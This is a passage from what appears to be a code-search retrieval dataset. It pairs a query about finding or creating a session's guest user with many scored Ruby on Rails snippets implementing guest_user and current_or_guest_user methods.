Time.parse(time_string)\n event.end_dttm = event.start_dttm + 2.hours\n event.save\n event\n end", "title": "" } ]
1781005aa7ebfae85ade596f40fea914
find guest_user object associated with the current session, creating one as needed
[ { "docid": "998acdba63fea8a565bc0894ec5530a5", "score": "0.76843524", "text": "def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end", "title": "" } ]
[ { "docid": "84d40efaa18043aaa92160f2ffe3d6c5", "score": "0.84715164", "text": "def guest_user\n User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user\n end", "title": "" }, { "docid": "fde6cfdb97599b473a6b2158f6a699fd", "score": "0.8453672", "text": "def guest_user\n User.find(session[:guest_user_id].nil? ? session[:guest_user_id] = create_guest_user.id : session[:guest_user_id])\n end", "title": "" }, { "docid": "7a5d081662c732bee6dc74cd1e83f5be", "score": "0.8435647", "text": "def guest_user\n if session[:guest_user_id]\n guest = Guest.where(id: session[:guest_user_id]).first\n end\n guest ||= Guest.create\n session[:guest_user_id] = guest.id\n guest\n end", "title": "" }, { "docid": "9133142f2658e29c1102ded122584b43", "score": "0.83511376", "text": "def guest_user\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user\n end", "title": "" }, { "docid": "2b67d6e56a719f24e1d81c79a3e1f51e", "score": "0.82579863", "text": "def guest_user\n \t# Cache the value the first time it's gotten.\n \t@cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound #if (session[:guest_user_id] invalid\n \tsession[:guest_user_id] = nil\n \tguest_user\n end", "title": "" }, { "docid": "284397a6c62c323e7a43ca1da648d7a5", "score": "0.822325", "text": "def guest_user\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user\n end", "title": "" }, { "docid": "284397a6c62c323e7a43ca1da648d7a5", "score": "0.822325", "text": "def guest_user\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user\n end", "title": "" }, { "docid": "754c5f9a967c25ec5c1a9a3d0ee730aa", "score": "0.8216984", "text": "def guest_user\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue Mongoid::Errors::DocumentNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user\n end", "title": "" }, { "docid": "499f79d6389a1591d0ed19523bdc23a9", "score": "0.81852436", "text": "def guest_user\n begin\n if !@cached_guest_user\n session[:guest_user_id] ||= create_guest_user.id\n @cached_guest_user = User.find(session[:guest_user_id])\n end\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n @cached_guest_user = nil\n guest_user\n end\n @cached_guest_user\n end", "title": "" }, { "docid": "21a2d948c73e022c6afffa5c15b1724e", "score": "0.8162358", "text": "def guest_user\n unless defined? @guest_user\n if session[:guest_user_id] && (user = User.where(:id => session[:guest_user_id]).first)\n @guest_user = user\n else\n @guest_user = create_guest_user!\n session[:guest_user_id] = @guest_user.id\n end\n end\n return @guest_user\n end", "title": "" }, { "docid": "6aaada92978400f6427db9b2eec94874", "score": "0.80786884", "text": "def guest_user\n\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n @cached_guest_user\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n\n guest_user\n end", "title": "" }, { "docid": "15a08cff3044e51d7fd91e5153db0fbf", "score": "0.8055749", "text": "def guest_user\n guest_id = session[:guest_user_id]\n if guest_id.nil? || User.find(guest_id).nil?\n user = create_guest_user\n session[:guest_user_id] = user.id\n return User.find(user.id)\n end\n User.find(guest_id)\n end", "title": "" }, { "docid": "a61f08a7791f877c1d3fa213354cd46c", "score": "0.80273193", "text": "def guest_user\n @cached_guest ||= create_guest_user\n end", "title": "" }, { "docid": "ab6b950cdaca30b4c56d5b9e21e39d4a", "score": "0.8014602", "text": "def create_guest_user\n logger.debug \"ApplicationController:create_guest_user >>> creating new guest_user record\"\n guest = User.new_guest_user\n session[:guest_user_id] = guest.id\n guest\n end", "title": "" }, { "docid": "dae49f8e7c3c6217474cb26f8cf2ee06", "score": "0.7946996", "text": "def create_guest_user\n u = User.new(:name => \"guest\", :email => \"guest_#{Time.now.to_i}#{rand(100)}@example.com\", :guest => true)\n u.save!(:validate => false)\n session[:guest_user_id] = u.id\n u\n end", "title": "" }, { "docid": "4484aa913ed25cb50887173ef7b8b9f2", "score": "0.7937647", "text": "def create_guest_user!\n # bah, this may not be entirely guaranteed to be unique\n # but it would be hard for it to collide, good enough. Actually\n # if the rails session id isn't unique, it's gonna cause problems\n # for more than just us, we should be good with just that even.\n unique_token = \"#{request.session_options[:id]}_#{(Time.now.to_f * 1000.0).to_i}_#{Process.pid}\"\n\n new_user = User.new.tap do |u|\n u.login = \"GUEST_USER_#{unique_token}\"\n u.guest = true\n u.save!\n end\n end", "title": "" }, { "docid": "bc326830bb995fbbdad78fe6d8fae42e", "score": "0.7863053", "text": "def guest_user\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(cookies[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n cookies[:guest_user_id] = nil\n guest_user\n end", "title": "" }, { "docid": "8b420d5aceeebba5cd1d235b61f74752", "score": "0.77854323", "text": "def create_guest_user\n email = \"guest_#{Time.now.to_i}#{rand(99)}@example.com\"\n u = User.create(:email => email)\n u.save!(:validate => false)\n session[:guest_user_id] = u.id\n u\n end", "title": "" }, { "docid": "41c4ace0a9de7fa6a689aa178a4c974d", "score": "0.7781128", "text": "def guest_user\n User.find_by_lazy_id(cookies[:uuid].nil? ? create_guest_user.lazy_id : cookies[:uuid])\n end", "title": "" }, { "docid": "1f3bb5a582942333159daf1fbbb2ac87", "score": "0.775504", "text": "def guest_user(allow_create = false)\n if allow_create\n @cached_guest_user ||= User.find(session[:guest_user_id] || create_guest_user.id)\n else\n @cached_guest_user ||= User.find(session[:guest_user_id])\n end\n\n rescue ActiveRecord::RecordNotFound\n # only allow retry if allow_create == true\n session[:guest_user_id] = nil\n guest_user if allow_create\n end", "title": "" }, { "docid": "8b22fbed37e3ca96f9d9f61b2ed4785e", "score": "0.77040786", "text": "def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n # if session[:guest_user_id] invalid\n rescue ActiveRecord::RecordNotFound\n session[:guest_user_id] = nil\n guest_user if with_retry\n end", "title": "" }, { "docid": "e87b4ad28e8b7362ce977119e6140c43", "score": "0.7694754", "text": "def guest_user\n guest = GuestUser.new\n guest.name = \"friend\"\n guest.first_name = \"Visitor\"\n guest.last_name = \"User\"\n guest.email = \"guest@ptorrsmith.com\"\n \n # return guest\n guest\n end", "title": "" }, { "docid": "983cd0591de4fb5c03d25b4de52726a7", "score": "0.7674045", "text": "def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end", "title": "" }, { "docid": "021ecd6028738e0fb3787a5ed23da4ed", "score": "0.7639572", "text": "def guest_user\r\n guest = GuestUser.new\r\n guest.name = 'Guest User'\r\n guest.first_name = 'Guest'\r\n guest.last_name = 'User'\r\n guest.email = 'guest@test.com'\r\n guest\r\n end", "title": "" }, { "docid": "3d6255cca46034a13b93be90732f197b", "score": "0.7635925", "text": "def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end", "title": "" }, { "docid": "21bc31312a322b74542d5d77d100537f", "score": "0.7633145", "text": "def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end", "title": "" }, { "docid": "896b6663c777ac2405452772d7613a68", "score": "0.7613487", "text": "def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end", "title": "" }, { "docid": "896b6663c777ac2405452772d7613a68", "score": "0.7613067", "text": "def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end", "title": "" }, { "docid": "896b6663c777ac2405452772d7613a68", "score": "0.7613067", "text": "def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end", "title": "" }, { "docid": "896b6663c777ac2405452772d7613a68", "score": "0.7613067", "text": "def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end", "title": "" }, { "docid": "896b6663c777ac2405452772d7613a68", "score": "0.7613067", "text": "def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end", "title": "" }, { "docid": "896b6663c777ac2405452772d7613a68", "score": "0.7613067", "text": "def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end", "title": "" }, { "docid": "f6e51228908893c13ea10b581e83da85", "score": "0.7577521", "text": "def new_guest_user\n if object.user && object.user.guest? && object.user.trips.count == 1\n {email: object.user.email, authentication_token: object.user.authentication_token}\n else\n nil\n end\n end", "title": "" }, { "docid": "2166142bdf62ccaea5fd0bec14954e9a", "score": "0.75689465", "text": "def guest_user(params)\n if u = User.where(:lazy_id => true).where(:lazy_id => cookies[:uuid]).first\n u\n else\n create_guest_user(params)\n end\n end", "title": "" }, { "docid": "eb73713b39d2d716768f029c4ef32834", "score": "0.75599045", "text": "def guest_user(with_retry = true)\n\t # Cache the value the first time it's gotten.\n\t @cached_guest_user ||= User.find(session[:guest_user_id] ||= create_guest_user.id)\n\n\t rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n\t \tsession[:guest_user_id] = nil\n\t \tguest_user if with_retry\n\t end", "title": "" }, { "docid": "312b72461a2e1f9460d9ecafb531b942", "score": "0.75085545", "text": "def guest_user(with_retry = true)\n begin\n # Cache the value the first time it's gotten.\n @cached_guest_user ||=User.find_by_guest_authentication_token(session[:guest_authentication_token]) ||User.build_guest(session)\n rescue ActiveRecord::RecordNotFound\n session[:guest_authentication_token] = nil\n guest_user if with_retry\n end\n end", "title": "" }, { "docid": "4f7dfe4400b804dfcc05c2d3bb32ffcc", "score": "0.74673295", "text": "def set_guest\n @user = GuestUsers::User.find(params[:id])\n end", "title": "" }, { "docid": "ff7d2669134a66272c5e42c8a40da826", "score": "0.74542296", "text": "def register_guest\n params[:guest] = params[:user] if params[:user]\n if current_guest\n @user = User.find(current_guest.id)\n @user.email = params[:guest][:email]\n @user.email_preference = params[:guest][:email_preference]\n return render :guest_registration unless @user.valid?\n\n @user.save!\n else\n # See if I can convert these next few lines to find_or_create_by, making sure to still\n # set account_status to 'G'. Pay attention to the block below looking to see if @user is valid\n @user = Guest.find_by_email(params[:guest][:email].downcase)\n @user ||= Guest.new(guest_params.merge(account_status: 'G'))\n # Doing the 'unless' condition so a user can't then make himself a guest and break his account\n @user.account_status = 'G' unless @user.account_status == 'A'\n\n unless @user.valid?\n flash[:alert] = 'You must enter a valid email and accept the terms of service before you can proceed.'\n return render :guest_registration\n end\n\n @user.save!\n session[:guest] = @user.id\n end\n redirect_to controller: :store, action: :checkout\n end", "title": "" }, { "docid": "07a12ac949dff4145912298688088d1f", "score": "0.7424055", "text": "def guest_user\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find_by!(email: (cookies.permanent.signed[:guest_user_email] ||= create_guest_user.email))\n\n # if cookies.signed[:guest_user_email] invalid\n rescue ActiveRecord::RecordNotFound\n cookies.delete :guest_user_email\n guest_user\n end", "title": "" }, { "docid": "763b0b2f1a6a62b204ae2a1b30217704", "score": "0.73860824", "text": "def guest_user\n # Cache the value the first time it's gotten.\n @cached_guest_user ||=\n User.find_by!(email: (cookies.permanent.signed[:guest_user_email] ||= create_guest_user.email))\n\n # if cookies.signed[:guest_user_email] invalid\n rescue ActiveRecord::RecordNotFound #\n cookies.delete :guest_user_email\n guest_user\n end", "title": "" }, { "docid": "29e6faeb3a1a2df6b6ce0c0fea313262", "score": "0.7383768", "text": "def user_or_guest\n user or Guest.new(guest_uid, guest_name)\n end", "title": "" }, { "docid": "6f321ee7f345cf86a59139084e41bb19", "score": "0.73775864", "text": "def create_guest_user\n user = User.new { |user| user.role = 'guest' }\n user.email = \"guest_#{Time.now.to_i}#{rand(99)}@example.com\"\n user.save(validate: false)\n user\n end", "title": "" }, { "docid": "acdc23c35d80e3af3f1086e91dc0f908", "score": "0.7374472", "text": "def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(session[:guest_user_id]) if session[:guest_user_id]\n\n # rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n # session[:guest_user_id] = nil\n # guest_user if with_retry\n end", "title": "" }, { "docid": "406cd7c9355d1769f82b0d24fc147ab1", "score": "0.735269", "text": "def guest_user\n @guest_user ||= User.where(guest: true).first || super\n end", "title": "" }, { "docid": "6690221cebe79e47dca3d78a56bc5410", "score": "0.73518884", "text": "def current_user\n if session[:user_id] != nil\n user = User.find(session[:user_id])\n elsif session[:guest_id] != nil\n user = User.find(session[:guest_id])\n else\n user = User.new(name: \"Guest\", authenticated: false)\n user.save\n session[:guest_id] = user.id\n end\n return user\n end", "title": "" }, { "docid": "3223b805d4d41ba58f35f976cf4d98f4", "score": "0.72864157", "text": "def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(guest_user_id)\n\n rescue ActiveRecord::RecordNotFound # if session[:guest_user_id] invalid\n session[:guest_user_id] = nil\n guest_user if with_retry\n end", "title": "" }, { "docid": "dc92577147e090ba15a8db292eef2134", "score": "0.7271208", "text": "def create_guest_user\n uuid = rand(36**64).to_s(36)\n temp_email = \"guest_#{uuid}@guest_user.com\"\n u = User.create(name: \"GUEST\", username: \"Guest #{User.guests.size}\", email: temp_email, lazy_id: uuid)\n cookies[:uuid] = { value: uuid, path: '/', expires: 5.years.from_now }\n u.save(validate: false)\n u\n end", "title": "" }, { "docid": "15cbae01eea96a9a5229b5a1b8b2399f", "score": "0.7256609", "text": "def guest_user\n User.find_by_email('guest@guest.com')\n end", "title": "" }, { "docid": "1e75e369454ad9338fbe9f7598df85f3", "score": "0.7229587", "text": "def current_or_guest_user!\n if current_user\n if cookies[:uuid]\n\n # Called when a guest user is converted to current user\n promote_guest_to_user(current_user)\n\n # destroy the guest user and the session\n destroy_guest_user\n end\n current_user\n else\n find_or_create_guest_user\n end\n end", "title": "" }, { "docid": "63df4ebfc40c62961a8dafdf7b951bf7", "score": "0.71650493", "text": "def guest_user\n @_guest ||= Guest.from_cookies(cookies) unless user_signed_in?\n end", "title": "" }, { "docid": "a9b47681d803df8657a8bb4199c0f058", "score": "0.71102196", "text": "def guest_user\n User.find_by_lazy_id(cookies[:uuid])\n end", "title": "" }, { "docid": "e1f0022fd981bff7b3036522cfb79ed9", "score": "0.70972127", "text": "def guest_user(with_retry = true)\n # Cache the value the first time it's gotten.\n @cached_guest_user ||= User.find(cookies.signed.permanent[:guest_user_id] ||= create_guest_user.id)\n\n rescue ActiveRecord::RecordNotFound # if cookies.signed[:guest_user_id] invalid\n cookies.delete :guest_user_id\n guest_user if with_retry\n end", "title": "" }, { "docid": "8bf082b75333906d8eea4d56b67831e4", "score": "0.708265", "text": "def current_or_guest_user(create_guest = false)\n @current_or_guest_user ||=\n (\n logger.debug 'ApplicationController:current_or_guest_user'\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n remove_guest\n logger.debug \"ApplicationController:current_or_guest_user >>> current_user and guest_user session found -- guest_user remove and return current_user\"\n end\n current_user\n else\n logger.debug \"ApplicationController:current_or_guest_user >>> current_user not found -- switching to guest_user with create = #{create_guest}\"\n guest_user(create_guest)\n end\n )\n end", "title": "" }, { "docid": "8e53ecbfef9f3587ba9e408dd3071933", "score": "0.7033019", "text": "def maybe_login_guest\n # Assume that guest exists in DB\n # session[:usr_id] = (Usr.find_by_login(\"guest\").id)\n # Being a guest means that session[:usr_id] is nil\n # unless (session[:usr_id])\n # The idea that a guest has a usr_id causes problems with login_sugar.\n # So, a guest does not have a usr_id.\n end", "title": "" }, { "docid": "1f12b534ee80497c34cbd651da7cdeea", "score": "0.7031923", "text": "def guest\n new(email: GUEST_USER_EMAIL).freeze\n end", "title": "" }, { "docid": "2f6895ca20da705e0f6e707d7f9c1a4a", "score": "0.7022267", "text": "def guest\n defaultuser = (\n case ActiveRecord::Base.connection.adapter_name\n when 'MySQL'\n 'defaultUser'\n else\n 'defaultuser'\n end\n )\n User.find(:first, :conditions => \"#{self.class.primary_key}=#{self.id} AND #{defaultuser} = true\" )\n end", "title": "" }, { "docid": "c335e7ed2bc5bb2cec9b3ef1038aa2f9", "score": "0.70076615", "text": "def current_user\n @current_user ||= User.find(session[:user_id])\n rescue ActiveRecord::RecordNotFound\n #login User.create_guest\n end", "title": "" }, { "docid": "395032c02581c6e89bbb11c215d4aa0d", "score": "0.6994997", "text": "def guest\n\t\tid = User.count + 1\n\t\t@user = User.new(username: \"Guest_#{id}\", password: \"guestpass#{id}\", password_confirmation: \"guestpass#{id}\")\n\t\tif @user.save!\n\t\t\tsign_in @user\n\t\t\tflash[:success] = \"Welcome to Lightcycles!\"\n\t\t\tredirect_to root_path\n\t\telse\n\t\t\tflash[:error] = \"Sorry, there was an error!\"\n\t\t\tredirect_to \"/login\"\n\t\tend\n\tend", "title": "" }, { "docid": "bfc6df2a2f9d0532267da9978279db22", "score": "0.6922723", "text": "def get_or_create_user\n @user||=use_url_session? ? get_or_create_url_session_user : current_user_with_guest\n end", "title": "" }, { "docid": "fd5fc0d4f91c3047b1716697eca25210", "score": "0.686684", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "1542d6651f182916dea4d0810669ff12", "score": "0.6835424", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "1542d6651f182916dea4d0810669ff12", "score": "0.6835203", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "a78286d81b848f60586b8d2a0a2e4987", "score": "0.683412", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n #guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "fe44b1dfe88400f50ee8f47375b1b7e5", "score": "0.68146175", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).reload.try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "fe44b1dfe88400f50ee8f47375b1b7e5", "score": "0.68146175", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).reload.try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "fe44b1dfe88400f50ee8f47375b1b7e5", "score": "0.68146175", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).reload.try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "2524df70993b128cc74ae3e22a29ffdc", "score": "0.6789653", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "39f6b65322779db295b5292d6996fc49", "score": "0.67822963", "text": "def create_guest_user\n u = User.create(name: 'guest', email: \"guest_#{Time.current.to_i}#{rand(99)}@example.com\")\n # u.skip_confirmation!\n u.save!(validate: false)\n u\n end", "title": "" }, { "docid": "2ed064a5f79c98ae783a0f314c99cf6a", "score": "0.6723217", "text": "def current_or_guest_user\n if current_user\n if session[:guest_authentication_token] &&\n !current_user.matches_guest_authentication_token?(session[:guest_authentication_token])\n # transfer_guest_to_current_user\n guest_user(with_retry = false).try(:destroy)\n session[:guest_authentication_token] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "c026f14072be9c371aac8644af0ec538", "score": "0.67129296", "text": "def current_or_guest_user\n if current_user\n transfer_session_to_logged_in_user if session[:guest_user_id].present?\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "28ffcb709d3ec99ba0fec1f1f42c8bb5", "score": "0.6704006", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n guest_user(with_retry = false).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "28ffcb709d3ec99ba0fec1f1f42c8bb5", "score": "0.6704006", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n guest_user(with_retry = false).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "9319984871950883b7a7a83caeb4be25", "score": "0.667542", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in(guest_user_id)\n guest_user(with_retry = false).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "d7c6bcee81e6ae0f6b150f6ae21c1d2c", "score": "0.6669506", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n puts \"test\"\n puts \"11111111\"\n # reload guest_user to prevent caching problems before destruction\n guest_user(with_retry = false).try(:reload).try(:destroy)\n session[:guest_user_id] = nil\n end\n current_user\n puts \"222222222222\"\n else\n guest_user\n puts \"3333333333\"\n end\n end", "title": "" }, { "docid": "5f438dfddef6ad3af82a2e5c89882cdb", "score": "0.6662666", "text": "def check_for_guest\n if(params[:user_id]) then \n @user=User.find(params[:user_id])\n else\n @user=nil\n end\n @user\n end", "title": "" }, { "docid": "409432483c13a76ef217eb813de66415", "score": "0.66514176", "text": "def create_guest_user\n u = User.create(email: \"guest_#{Time.now.to_i}#{rand(99)}@example.com\")\n #u.skip_confirmation!\n u.save!(validate: false)\n u\n end", "title": "" }, { "docid": "dbc9939658381c8c10da544428a616e2", "score": "0.6644124", "text": "def create\n if (params[:user][:email] == \"guest@example.com\")\n prep_guest\n end\n super\n end", "title": "" }, { "docid": "dbb9df8e04ea5f918d6c1fd5348d6acf", "score": "0.6590451", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id] && session[:guest_user_id] != current_user.id\n logging_in\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "c75e98a69fa7130db196952dd05fdd31", "score": "0.65822846", "text": "def promote_guest_to_user(user)\n # What should be done here is take all that belongs to user with lazy_id matching current_user's uuid cookie...\n # then associate them with current_user\n\n # Copy the subscription data from the guest user to the newly created user:\n # For example:\n # guest_comments = guest_user.comments.all\n # guest_comments.each do |comment|\n # comment.user_id = current_user.id\n # comment.save\n # end\n\n if !cookies[:uuid].nil?\n #user.subscriptions = guest_user.subscriptions.dup\n true\n else\n false\n end\n\n # When we promote a guest to a user, the guest should be destroyed (This includes deleting the cookie)\n destroy_guest_user\n\n end", "title": "" }, { "docid": "f50b368f414b199d82207c322b80b8dc", "score": "0.65476656", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n #guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "5285a75ac2a7b6ccb253739f5a1a3021", "score": "0.65362996", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n return current_user\n else\n return guest_user\n end\n end", "title": "" }, { "docid": "d37315cf05c0fab23ccd057cd57b2bdb", "score": "0.65357304", "text": "def current_or_guest_user\n\t\tif current_user\n\t\t\tif session[:guest_user_id] && session[:guest_user_id] != current_user.id\n\t\t\t\tlogging_in\n\t\t\t\tguest_user(with_retry = false).try(:destroy)\n\t\t\t\tsession[:guest_user_id] = nil\n\t\t\tend\n\t\t\tcurrent_user\n\t\telse\n\t\t\tguest_user\n\t\tend\n\tend", "title": "" }, { "docid": "bc9f9128cb6765ce6f363b9ee432ecd5", "score": "0.6510508", "text": "def create_guest\n\t\tcustom_params = { \n\t\t\temail: Faker::Internet.email, \n\t\t\tpassword: \"demodemo\",\n\t\t\tguest: true\n\t\t}\t\t\n\t\t\n\t\tUser.transaction do\n\t\t\t@user = User.new(custom_params)\n\t\t\t@user.create_dashboard\n\t\tend\n\t\t\n\t\tif @user.save\n log_in!(@user)\n\t\t\t@user.create_guest_blog_with_posts!\n\t\t\t\n render json: @user\n else\n render json: @user.errors.full_messages, status: 422\n end\n\t\t\n\tend", "title": "" }, { "docid": "d0e613e1e4842f18ef8d46bed9a24502", "score": "0.6488494", "text": "def set_guest\n @guest = Guest.find(params[:id])\n end", "title": "" }, { "docid": "d0e613e1e4842f18ef8d46bed9a24502", "score": "0.6488494", "text": "def set_guest\n @guest = Guest.find(params[:id])\n end", "title": "" }, { "docid": "d0e613e1e4842f18ef8d46bed9a24502", "score": "0.6488494", "text": "def set_guest\n @guest = Guest.find(params[:id])\n end", "title": "" }, { "docid": "d0e613e1e4842f18ef8d46bed9a24502", "score": "0.6488494", "text": "def set_guest\n @guest = Guest.find(params[:id])\n end", "title": "" }, { "docid": "d0e613e1e4842f18ef8d46bed9a24502", "score": "0.6488494", "text": "def set_guest\n @guest = Guest.find(params[:id])\n end", "title": "" }, { "docid": "c19592ade2ea78f6a46940bac35665bd", "score": "0.6479294", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "c19592ade2ea78f6a46940bac35665bd", "score": "0.6479294", "text": "def current_or_guest_user\n if current_user\n if session[:guest_user_id]\n logging_in\n guest_user.destroy\n session[:guest_user_id] = nil\n end\n current_user\n else\n guest_user\n end\n end", "title": "" }, { "docid": "05e2f1316ccbc26a3c911f6c828b070f", "score": "0.6476874", "text": "def guest\n @patient=User.find_by_wedgetail(params[:wedgetail],:order =>\"created_at DESC\")\n authorize_only (:patient) {@patient.wedgetail == @user.wedgetail}\n authorize :admin\n @newuser = 